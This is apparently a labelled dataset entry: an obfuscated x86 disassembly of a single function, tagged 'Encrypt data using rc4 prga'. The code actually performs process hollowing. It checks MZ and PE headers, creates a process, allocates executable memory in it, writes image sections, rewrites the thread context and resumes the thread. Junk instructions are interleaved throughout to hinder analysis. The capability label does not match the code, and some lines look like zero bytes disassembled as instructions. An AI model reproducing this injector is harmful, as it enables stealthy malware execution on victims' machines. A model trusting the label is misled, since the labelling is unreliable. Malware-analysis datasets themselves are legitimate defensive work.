Function at 0x401383
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x340
push ebx
push esi
push edi
nop
push ebx
mov ebx, 0x10001aed
pop ebx
call dword [0x4041f4]
mov dword [ebp - 0x24], eax
mov dword [0x404154], 0x58
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov eax, dword [0x404254]
add eax, 0x37
mov dword [0x404254], eax
mov ecx, dword [0x404254]
push ecx
push 0
lea edx, [ebp - 0x70]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov eax, dword [0x404254]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x2c], 0x2ed
mov dword [0x404250], 0xb779
mov ecx, dword [0x404250]
add ecx, 0x488e
mov dword [0x404250], ecx
mov edx, dword [0x404250]
mov dword [ebp - 0x33c], edx
push ebx
xor ebx, ebx
pop ebx
mov eax, dword [ebp + 0xc]
mov dword [0x4041f8], eax
push ecx
inc ecx
pop ecx
mov dword [0x40424c], 0x3ec8
mov ecx, dword [0x40424c]
add ecx, 0x86f
mov dword [0x40424c], ecx
mov edx, dword [0x40424c]
add edx, 0x1316
mov dword [0x40424c], edx
mov eax, dword [0x4041f8]
xor ecx, ecx
mov cx, word [eax]
cmp ecx, dword [0x40424c]
je 0x4010de
jmp 0x40137d
mov edx, dword [0x404258]
add edx, 0x12
mov dword [ebp - 4], edx
mov eax, dword [0x4041f8]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x3c]
mov dword [0x40423c], ecx
mov dword [ebp - 0x28], str.fChzcq
mov dword [0x404254], 0x2bed
mov edx, dword [0x404254]
add edx, 0x1963
mov dword [0x404254], edx
mov eax, dword [0x40423c]
mov ecx, dword [eax]
cmp ecx, dword [0x404254]
je 0x401132
jmp 0x40137d
mov dword [ebp - 0x1c], 0x364
mov dword [0x404250], 0
mov edx, dword [0x404250]
add edx, 3
mov dword [0x404250], edx
mov eax, dword [0x404250]
add eax, 1
mov dword [0x404250], eax
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x70]
push edx
push 0
push 0
mov eax, dword [0x404250]
push eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x24]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [0x404228]
nop
push ecx
xor ecx, ecx
nop
pop ecx
mov eax, dword [0x40423c]
mov ecx, dword [eax + 0x34]
push ecx
mov edx, dword [ebp - 0x14]
push edx
call dword [0x404234]
mov dword [0x40424c], 0x2b3c
mov eax, dword [0x40424c]
add eax, 0x1b3
mov dword [0x40424c], eax
mov ecx, dword [0x40424c]
add ecx, 0x311
mov dword [0x40424c], ecx
mov dword [0x404254], 0x26
mov edx, dword [0x404254]
add edx, 0x10
mov dword [0x404254], edx
mov eax, dword [0x404254]
add eax, 0xa
mov dword [0x404254], eax
mov ecx, dword [0x404254]
push ecx
mov edx, dword [0x40424c]
push edx
mov eax, dword [0x40423c]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [0x40423c]
mov eax, dword [edx + 0x34]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [0x40422c]
nop
push ebx
inc ebx
nop
pop ebx
push 0
mov edx, dword [0x40423c]
mov eax, dword [edx + 0x54]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [0x40423c]
mov eax, dword [edx + 0x34]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call dword [0x404224]
push eax
inc eax
pop eax
mov dword [ebp - 0x20], 0
jmp 0x401258
mov edx, dword [ebp - 0x20]
add edx, 1
mov dword [ebp - 0x20], edx
mov eax, dword [0x40423c]
xor ecx, ecx
mov cx, word [eax + 6]
cmp dword [ebp - 0x20], ecx
jge 0x401320
mov dword [0x404250], 0x38
mov edx, dword [0x404250]
add edx, 0xc0
mov dword [0x404250], edx
mov dword [0x40424c], 0x21
mov eax, dword [0x40424c]
add eax, 1
mov dword [0x40424c], eax
mov ecx, dword [0x40424c]
add ecx, 6
mov dword [0x40424c], ecx
mov edx, dword [0x4041f8]
mov eax, dword [edx + 0x3c]
add eax, dword [0x404250]
mov ecx, dword [0x40424c]
imul ecx, dword [ebp - 0x20]
add ecx, dword [ebp + 0xc]
add ecx, eax
mov dword [0x404240], ecx
mov dword [0x404258], 0x116
push 0
mov edx, dword [0x404240]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [0x404240]
mov edx, dword [ebp + 0xc]
add edx, dword [ecx + 0x14]
push edx
mov eax, dword [0x40423c]
mov ecx, dword [eax + 0x34]
mov edx, dword [0x404240]
add ecx, dword [edx + 0xc]
push ecx
mov eax, dword [ebp - 0x14]
push eax
call dword [0x404224]
mov dword [ebp - 0x330], 0x405168
jmp 0x40124f
lea ecx, [ebp - 0x33c]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [0x404230]
mov eax, dword [0x404258]
add eax, 0x50
mov dword [ebp - 0x18], eax
mov ecx, dword [0x40423c]
mov edx, dword [ecx + 0x34]
mov eax, dword [0x40423c]
add edx, dword [eax + 0x28]
mov dword [ebp - 0x28c], edx
push ecx
inc ecx
pop ecx
lea ecx, [ebp - 0x33c]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [0x4041f0]
push eax
xor eax, eax
pop eax
mov eax, dword [ebp - 0x10]
push eax
call dword [0x404208]
push ebx
mov ebx, 0x2635
nop
pop ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret